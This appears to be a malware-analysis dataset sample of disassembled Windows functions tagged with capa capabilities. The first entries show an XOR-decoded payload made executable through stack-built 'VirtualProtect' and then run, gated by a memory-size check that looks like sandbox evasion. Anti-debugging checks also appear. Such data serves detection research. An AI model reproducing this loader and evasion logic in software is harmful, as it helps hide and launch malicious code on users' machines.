joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
xor edx, edx
xor eax, eax
add edx, 1
lea ecx, [eax + 1]
cmovne ecx, eax
mov eax, ecx
cmp eax, 3
jb 0x401014
xor edx, edx
push esi
lea esi, [edx + 2]
nop word [eax + eax]
mov ecx, edx
and ecx, 0x1f
movzx eax, byte [ecx + 0x403108]
xor byte [edx + 0x403128], al
movzx eax, byte [edx + 0x403128]
sub al, byte [ecx + 0x403108]
lea ecx, [esi - 1]
and ecx, 0x1f
mov byte [edx + 0x403128], al
movzx eax, byte [ecx + 0x403108]
xor byte [edx + 0x403129], al
movzx eax, byte [edx + 0x403129]
sub al, byte [ecx + 0x403108]
mov ecx, esi
and ecx, 0x1f
mov byte [edx + 0x403129], al
add esi, 3
movzx eax, byte [ecx + 0x403108]
xor byte [edx + 0x40312a], al
movzx eax, byte [edx + 0x40312a]
sub al, byte [ecx + 0x403108]
mov byte [edx + 0x40312a], al
add edx, 3
cmp esi, 0x7bb
jb 0x401030
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x6e72654b
push eax
mov dword [ebp - 0x10], 0x32336c65
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], 0
mov dword [ebp - 0x24], 0x74726956
mov dword [ebp - 0x20], 0x506c6175
mov dword [ebp - 0x1c], 0x65746f72
mov word [ebp - 0x18], 0x7463
mov byte [ebp - 0x16], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
test eax, eax
je 0x401116
lea ecx, [ebp - 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401116
lea ecx, [ebp - 0x28]
push ecx
push 0x40
push 0x7d9
push 0x403108
call eax
mov eax, 0x403128
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004011a3
mov esp, ebp
pop ebp
ret

Function at 0x401130
Capabilities:
Get memory capacity
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48
mov eax, dword [0x403004]
xor eax, esp
mov dword [esp + 0x44], eax
lea eax, [esp]
mov dword [esp], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0xc]
shrd ecx, eax, 0x14
shr eax, 0x14
lea eax, [ecx - 0x200]
cmp eax, 0x1f200
ja 0x401178
call fcn.00401000
jmp 0x401189
push 0
push 0
push 0x403108
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push 0
push str.pectorard_tardseniorsive_gelat_algiaety_thisule_zymconferencewise_savetion_militaryad_factlowality_playdom_savetion_septuagintsome_turbobelieveety_ego_tardseniorsive_septuagintsome_couldal_sidard_thyreon_enter_dentee_rect_resem_to_Jerusalem_for_treatment.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4028dd
Capabilities:
Terminate process

Disassembly:
jmp 0x44f6a2
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x44f6b3
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00403ff3
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40297d
Capabilities:
Query environment variable

Disassembly:
jmp 0x45b93e
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x45b94f
pop esi
ret
push ebx
push edi
push esi
call fcn.0045b825
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00402f27
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x45b977
push ebx
push esi
push edi
call fcn.00403e81
add esp, 0xc
push 0
call fcn.004045ed
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x403f08
Capabilities:
Parse pe header

Disassembly:
jmp 0x4095da
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x409619
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x409619
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x409619
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x409619
cmp dword [ecx + 0x74], 0xe
jbe 0x409619
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x449cf3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x449d32
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x449d32
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x449d32
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x449d32
cmp dword [ecx + 0x74], 0xe
jbe 0x449d32
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x459948
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x488068]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x459993
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00459e49
test al, al
jne 0x45998d
sub edx, 2
cmp edx, edi
jne 0x459973
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4599b5
lea eax, [edi + 2]
cmp edx, eax
je 0x4599b5
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00459541
add esp, 0x10
jmp 0x459aaf
push esi
lea ecx, [ebp - 0x255]
call fcn.00459e49
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4599f8
push dword [ebp - 0x25c]
jmp 0x4599a5
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x459a35
cmp word [ebp - 0x226], 0
je 0x459a56
cmp word [ebp - 0x226], ax
jne 0x459a35
cmp word [ebp - 0x224], 0
je 0x459a56
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00459541
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x459aa2
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x459a0f
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x459a8a
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x459aaf
push 0x458e27
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00403d5a
add esp, 0x10
jmp 0x459a7f
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040251d
leave
ret

Function at 0x460375
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0040313e
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4603e4
cmp esi, dword [ebp - 4]
je 0x4603df
cmp dword [ebp + 0xc], 0
je 0x4603df
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4603bc
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0045fd9d
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x4603e6
xor eax, eax
inc eax
jmp 0x4603e6
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x46cadd
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x48a0f8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x46cb1d
cmp byte [ebx], 0xa
jne 0x46cb1d
or byte [edi + eax + 0x28], 4
jmp 0x46cb22
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x46cc21
mov dl, byte [eax]
cmp dl, 0x1a
je 0x46cc04
inc eax
cmp dl, 0xd
je 0x46cb4e
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x46cb74
cmp eax, ecx
jae 0x46cb82
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x46cb36
jmp 0x46cc21
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x46cbff
cmp dword [ebp - 0x10], 0
je 0x46cbff
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x48a0f8]
test byte [eax + edi + 0x28], 0x48
je 0x46cbd9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x46cbc4
mov byte [esi], dl
jmp 0x46cbd5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x48a0f8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x46cc21
cmp byte [ebp - 1], 0xa
jne 0x46cbe8
cmp esi, ebx
jne 0x46cbe8
mov byte [esi], 0xa
jmp 0x46cc20
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004015fa
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x46cc21
mov byte [esi], 0xd
jmp 0x46cc20
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x48a0f8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x46cc1e
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x46cc21
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x46cc7d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x48a0f8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x46ccc3
cmp word [ebx], dx
jne 0x46ccc3
or byte [eax + edi + 0x28], 4
jmp 0x46ccc8
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x46ce2b
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x46ce0b
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x46cd09
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x46cd3f
cmp eax, edx
jae 0x46cd4d
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x46cce4
jmp 0x46ce2b
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x46ce06
cmp dword [ebp - 0x18], 0
je 0x46ce06
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x48a0f8]
test byte [eax + edi + 0x28], 0x48
je 0x46cddc
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x46cda0
mov word [esi], cx
jmp 0x46cdd7
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x48a0f8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x48a0f8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x48a0f8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x46ce2b
pop eax
cmp word [ebp - 4], ax
jne 0x46cdec
cmp esi, ebx
jne 0x46cdec
mov word [esi], ax
jmp 0x46ce28
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004015fa
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x46ce2b
push 0xd
pop eax
jmp 0x46cde7
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x48a0f8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x46ce25
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x46ce2b
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100387a0
Capabilities:
Enumerate pe sections

Disassembly:
mov ax, word [esp + 4]
test ax, ax
push ebp
jl 0x100387c3
cmp ax, 0x14
jg 0x100387c3
movsx ebp, ax
mov eax, dword [ebp*4 + 0x3084400]
test eax, eax
mov dword [esp + 8], ebp
jne 0x100387d3
mov dword [0x3084450], 0xfffff61e
or ax, 0xffff
pop ebp
ret
push ebx
push esi
mov esi, dword [esp + 0x18]
test esi, esi
push edi
jne 0x100388ae
mov esi, dword [eax + 8]
mov ebx, 1
add esi, 0x14
cmp dword [eax + 0xc], ebx
jbe 0x100388a6
mov edi, dword [esp + 0x20]
add edi, 6
lea ecx, [ecx]
cmp dword [esp + 0x20], 0
je 0x10038852
mov dword [edi - 6], ebx
movzx eax, word [esi]
mov word [edi - 2], ax
movzx ecx, word [esi + 2]
mov word [edi], cx
movzx edx, word [esi + 4]
sub dx, word [esi]
mov word [edi + 2], dx
mov ax, word [esi + 6]
sub ax, word [esi + 2]
add eax, 1
mov word [edi + 4], ax
mov ecx, dword [esi + 0x10]
mov dword [edi + 6], ecx
movzx edx, word [esi + 0xa]
mov word [edi + 0xa], dx
movzx eax, byte [esi + 0xc]
mov word [edi + 0xc], ax
movzx ecx, byte [esi + 0xd]
mov word [edi + 0xe], cx
jmp 0x1003888d
movzx edx, byte [esi + 0xd]
movsx eax, word [esi + 2]
push edx
movzx edx, word [esi + 0xa]
movsx ecx, word [esi]
push edx
movzx edx, byte [esi + 0xc]
push edx
mov edx, dword [esi + 0x10]
push edx
movsx edx, word [esi + 6]
sub edx, eax
add edx, 1
push edx
movsx edx, word [esi + 4]
sub edx, ecx
push edx
push eax
push ecx
push ebx
push 0x3080418
call fcn.100364c0
add esp, 0x28
mov eax, dword [ebp*4 + 0x3084400]
add ebx, 1
add edi, 0x18
add esi, 0x14
cmp ebx, dword [eax + 0xc]
jb 0x10038800
pop edi
pop esi
pop ebx
xor ax, ax
pop ebp
ret
xor edi, edi
test esi, esi
jbe 0x100388a6
mov ebx, dword [esp + 0x20]
jmp 0x100388c0
mov ecx, dword [esp + 0x18]
mov eax, dword [ebp*4 + 0x3084400]
mov edx, dword [ecx + edi*4]
cmp edx, dword [eax + 0xc]
ja 0x10038941
cmp dword [esp + 0x20], 0
mov eax, dword [eax + 8]
lea ecx, [edx + edx*4]
lea eax, [eax + ecx*4]
je 0x100388ec
mov ecx, ebx
call fcn.10037f20
jmp 0x1003892f
movzx ebp, byte [eax + 0xd]
movsx ecx, word [eax + 2]
movsx esi, word [eax]
push ebp
movzx ebp, word [eax + 0xa]
push ebp
movzx ebp, byte [eax + 0xc]
push ebp
mov ebp, dword [eax + 0x10]
push ebp
movsx ebp, word [eax + 6]
movsx eax, word [eax + 4]
sub ebp, ecx
add ebp, 1
push ebp
sub eax, esi
push eax
push ecx
push esi
push edx
push 0x3080418
call fcn.100364c0
mov esi, dword [esp + 0x44]
mov ebp, dword [esp + 0x3c]
add esp, 0x28
add edi, 1
add ebx, 0x18
cmp edi, esi
jb 0x100388c0
pop edi
pop esi
pop ebx
xor ax, ax
pop ebp
ret
pop edi
pop esi
pop ebx
mov dword [0x3084450], 0xfffff61e
or ax, 0xffff
pop ebp
ret
Function at 0x10047210
Capabilities:
Enumerate pe sections

Disassembly:
push 0
mov ecx, esi
call fcn.1004f420
mov ax, word [esi + 6]
push eax
call fcn.10039530
add esp, 4
cmp ax, 2
jne 0x10047276
push ebx
push ebp
push edi
push 1
mov ecx, esi
call fcn.1004f420
lea edi, [esi + 8]
mov ecx, edi
call fcn.10051d40
push 1
mov ecx, esi
call fcn.1004f420
mov ebx, dword [esi + 0x14]
push 1
mov ecx, esi
call fcn.1004f420
mov ebp, dword [esi + 0x18]
push 1
mov ecx, esi
call fcn.1004f420
push ebx
push ebp
mov ecx, edi
call fcn.1004f5a0
mov eax, dword [esp + 0x10]
add dword [eax], 3
pop edi
pop ebp
pop ebx
ret
Function at 0x429b57
Capabilities:
Encode data using xor

Disassembly:
inc esp
mov bl, 0x11
xchg esp, eax
push 0xffffffffffffffa5
sbb dword [edx - 0x2ef3b51f], 0x689d6c0a
push esi
jbe 0x429bde
invalid
xor al, 0xa7
xchg ebx, eax
adc al, byte [edx + edx*2 + 0x3a]
movsd dword es:[edi], dword [esi]
or eax, 0x1b8cb5bb
loop 0x429bf6
test al, 0xe1
test al, 0xa5
push es
scasb al, byte es:[edi]
mov ds, word [ecx]
sub al, 0x23
xor eax, 0x8c037795
sub dword [esi + 0x67], ebx
xchg ebp, eax
mov eax, 0x95afd621
scasd eax, dword es:[edi]
xchg ebp, eax
mov ebp, 0x842b6ad2
and al, 0x3b
jge 0x429be0
xchg si, ax
test dword [edi], esp
jb 0x429bd1
and bh, byte [edi + 0x40]
mov ebx, 0x66c974d7
je 0x429c29
shr dword [eax + 0x73], 1
and dword [eax], esi
lock add dword [ebx - 0x3266ca25], ecx
invalid
jmp 0x429c8a
movsb byte es:[edi], byte [esi]
sbb ebx, dword [ebx + 0x28]
pushfd
scasb al, byte es:[edi]
ror dword [esi - 6], cl
push edx
push cs
mov esi, dword ds:[edi - 0x4fce9057]
mov dword [esi + 0xc3933e0], ecx
mov bh, 0x6a
mov ebx, 0x4405c6b1
cmc
out dx, al
mov ah, 0xc6
inc ebp
push 0x9b5abc8d
xchg esi, eax
xor dword [eax + ebx - 0x71b468a3], edx
inc esp
sbb ah, byte [edx + 0x5e3f6f01]
int 0x70
adc al, bl
invalid

Function at 0x431bc0
Capabilities:
Encode data using xor

Disassembly:
mov esi, dword [edx + edi + 8]
movzx ebx, cl
xor esi, dword [ebp + ebx*4 + 0xc00]
movzx ebx, ch
xor esi, dword [ebp + ebx*4 + 0x800]
shr ecx, 0x10
movzx ebx, cl
movzx ecx, ch
xor esi, dword [ebp + ebx*4 + 0x400]
movzx ebx, al
xor esi, dword [ebp + ecx*4]
mov ecx, dword [edx + edi + 0xc]
xor esi, dword [ebp + ebx*4 + 0x1c00]
movzx ebx, ah
add byte [eax + eax], bl
add byte [edi], cl
mov dh, 0xdc
shr eax, 0x10
xor esi, dword [ebp + ebx*4 + 0x1800]
movzx ebx, al
xor esi, dword [ebp + ebx*4 + 0x1400]
movzx ebx, ah
mov eax, dword [ebp + ebx*4 + 0x1000]
xor eax, esi
add edx, 8
jne 0x431b21
xor eax, dword [edx + edi]
mov edx, edi
mov edi, dword [esp + 0x14]
sub edi, edx
test edi, edi
je 0x431ba5
movzx esi, byte [edx]
inc edx
movzx ebx, al
xor esi, ebx
shr eax, 8
xor eax, dword [ebp + esi*4]
dec edi
jmp 0x431b8e
pop edi
pop esi
pop ebp
pop ebx
ret 8
jne 0x431b57
xchg ebp, eax
sub eax, 0x4da988d4
sbb al, 0x87
outsd dx, dword [esi]
imul ecx, dword [eax + 0x7425a8af], 0xdc3543a9
xor ecx, ebx
sub eax, 0xe7659b5
sbb al, 0xca
pop eax
scasb al, byte es:[edi]
dec esp
xchg edi, eax
mov esp, 0x2299efbf
shl dword [edx + ecx - 0x5104e166], 0x3d
ja 0x431bc1
and eax, 0x29e2580e
push ds
dec edx
rol byte [eax + 0x60b4b5ac], 1
lodsb al, byte [esi]
cmp esp, edx
cmc
ret 0x29dc
Function at 0x44a380
Capabilities:
Accept command line arguments

Disassembly:
push ecx
push ebx
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push str.GetFirmwareEnvironmentVariableA
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
lea eax, [esp + 0xc]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test eax, eax
je 0x44a3c9
mov ecx, dword [0x4ce9f4]
push 0x4ce6fc
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
test ebx, ebx
je 0x44a3ef
push 0
push 0
push str.2E1E14B9_502C_14f9_B714_20D30DA30E8E
push 0x4cf3d4
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
pop edi
neg eax
sbb eax, eax
pop esi
neg eax
pop ebx
pop ecx
ret
pop edi
mov al, bl
pop esi
pop ebx
pop ecx
ret
Function at 0x48a727
Capabilities:
Check for software breakpoints

Disassembly:
and al, byte [edx - 0x5f]
xor byte [esi + 0x54e971b5], dl
ja 0x48a7a7
push es
xor ebx, edx
ror dword [edx], 1
mov dh, 0x53
dec esi
push ds
ror byte [edx], 0xdb
inc edi
push esp
push 0xfffffffffffffff5
das
mov cl, byte [eax]
xor eax, dword [esi + 0x6621a0e0]
jnp 0x48a7c2
fbld tbyte [ebx - 0x79c3a00b]
insd dword es:[edi], dx
cmp byte [edi], al
and al, 0x6c
or esp, esi
imul esi, dword [ecx - 0x35859421], 0x65d4408a
imul edi, dword [edx - 0x36], 0xffffff8a
inc eax
aam 0x65
mov bh, 0xb0
pop edi
sub al, 0x44
push ds
mov dword [ecx + 0x66aec833], ebx
out 0xd8, al
scasb al, byte es:[edi]
loopne 0x48a7c1
or eax, 0x5b1d424c
sal dword [eax + 0x38a7e7a5], cl
ret
xchg ebx, eax
cdq
xlatb
scasb al, byte es:[edi]
adc dh, byte [ecx - 0x50]
jno 0x48a75e
cmp cl, 0xcc
or eax, ebp
lds edx, [edi - 0x5760b0ce]
sbb edx, esp
jo 0x48a83b
mov al, 0xb2
shr byte [edx - 0x35], 0xfb
retf
sti
pop ebp
movsb byte es:[edi], byte [esi]
or al, 0xcd
push ebx
sub al, 0x36
rcr byte [esp + eax*4 + 0x29], 0xdb
fcom qword [ebx]
mov bl, 0xfd
rcr byte [eax - 0x78f5aa49], 1
enter 0xffffffffffffcc41, 0xffffffffffffff8e
in al, 0xbf
sbb ebp, esp
push cs
mov ch, 0x42
shr dword [ebp - 0x20], 1
mov byte [0xc734c046], al
cdq
mov dword [0xd51ea7], eax
test dword [eax - 0x762e705a], esp
in eax, dx
mov ecx, dword [edi + ebx*8 + 0x5ecc1412]
inc ecx
mov byte [edx - 0x5a6448f2], cl
pop ebp
fdiv dword [eax + 0x50]
jo 0x48a85c
int1
inc byte [eax + 0x44cae4ec]
jl 0x48a7ac
mov cl, 0xc9
aaa
je 0x48a80a
wait
or edx, esi
mov dword [0x78929417], eax
sub esp, esi
aaa
leave
insd dword es:[edi], dx
mov ebp, 0x30d48739
sti
xchg ebp, eax
cmpsb byte [esi], byte es:[edi]
ret 0x760e
mov ah, 0xf5
pushal
mov dh, 0xee
std
push esi
push ecx
xchg ebp, eax
test dword [edi + esi*2 - 0x2b], edi
sahf
sbb ebx, eax
xchg edx, eax
bnd jno 0x48a879
jns 0x48a8b0
fadd st(6), st(0)
mov eax, 0x4e446903
pop ss
and al, 0xab
cmpsb byte [esi], byte es:[edi]
pop es
cmpsd dword ds:[esi], dword es:[edi]
loop 0x48a891
cmpsd dword [esi], dword es:[edi]
inc ebx
popfd
xor dword [edi + 0x55], 0x24a45b00
ficomp word [ecx + 0x18f8b6ae]
push ds
dec dword [ebp + 0x32]
mov dword [ebx - 0x78f0cefe], edi
mov esi, 0x2dc32dd9
or al, 0x45
into
pushfd
ja 0xc376823d
sub eax, 0x9cce450c
test eax, 0x19925814
js 0x48a8af
fimul word [ecx + 0x4d]
scasd eax, dword es:[edi]
cmp dl, byte [ebx + eax - 0x5373760f]
push ds
fistp dword [eax + 0x20a04c0f]
movsb byte es:[edi], byte [esi]
push 0x13
add esi, ecx
mov dword [esp + ebp*4 + 0xf98db1e], ecx
dec esp
mov al, byte [0x136aa420]
popal
jne 0x48a85c
add esi, dword [eax + 0x15ce8507]
hlt
js 0x48a8b6
add eax, 0x91279759
pop ecx
xchg edi, eax
daa
xchg ecx, eax
cmc
xchg esp, eax
pop ebx
hlt
Function at 0x4c50b2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4cb5a8
cmp edx, dword [eax]
je 0x4c50d4
add eax, 8
inc ecx
cmp eax, 0x4cb638
jl 0x4c50c5
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4cb5a8]
jne 0x4c5202
mov eax, dword [0x4cfc80]
cmp eax, 1
je 0x4c51dc
test eax, eax
jne 0x4c5105
cmp dword [0x4cb4ec], 1
je 0x4c51dc
cmp edx, 0xfc
je 0x4c5202
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4c513c
lea eax, [ebp - 0x1a4]
push 0x4c975c
push eax
call fcn.004c57d0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004c5a00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c517f
lea eax, [ebp - 0x1a4]
push eax
call fcn.004c5a00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c9758
push edi
call fcn.004c71d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c973c
push eax
call fcn.004c57d0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c57e0
lea eax, [ebp - 0xa0]
push 0x4c9738
push eax
call fcn.004c57e0
push dword [esi + 0x4cb5ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c57e0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c9710
push eax
call fcn.004c7144
add esp, 0x2c
pop edi
jmp 0x4c5202
lea eax, [ebp + 8]
lea esi, [esi + 0x4cb5ac]
push 0
push eax
push dword [esi]
call fcn.004c5a00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret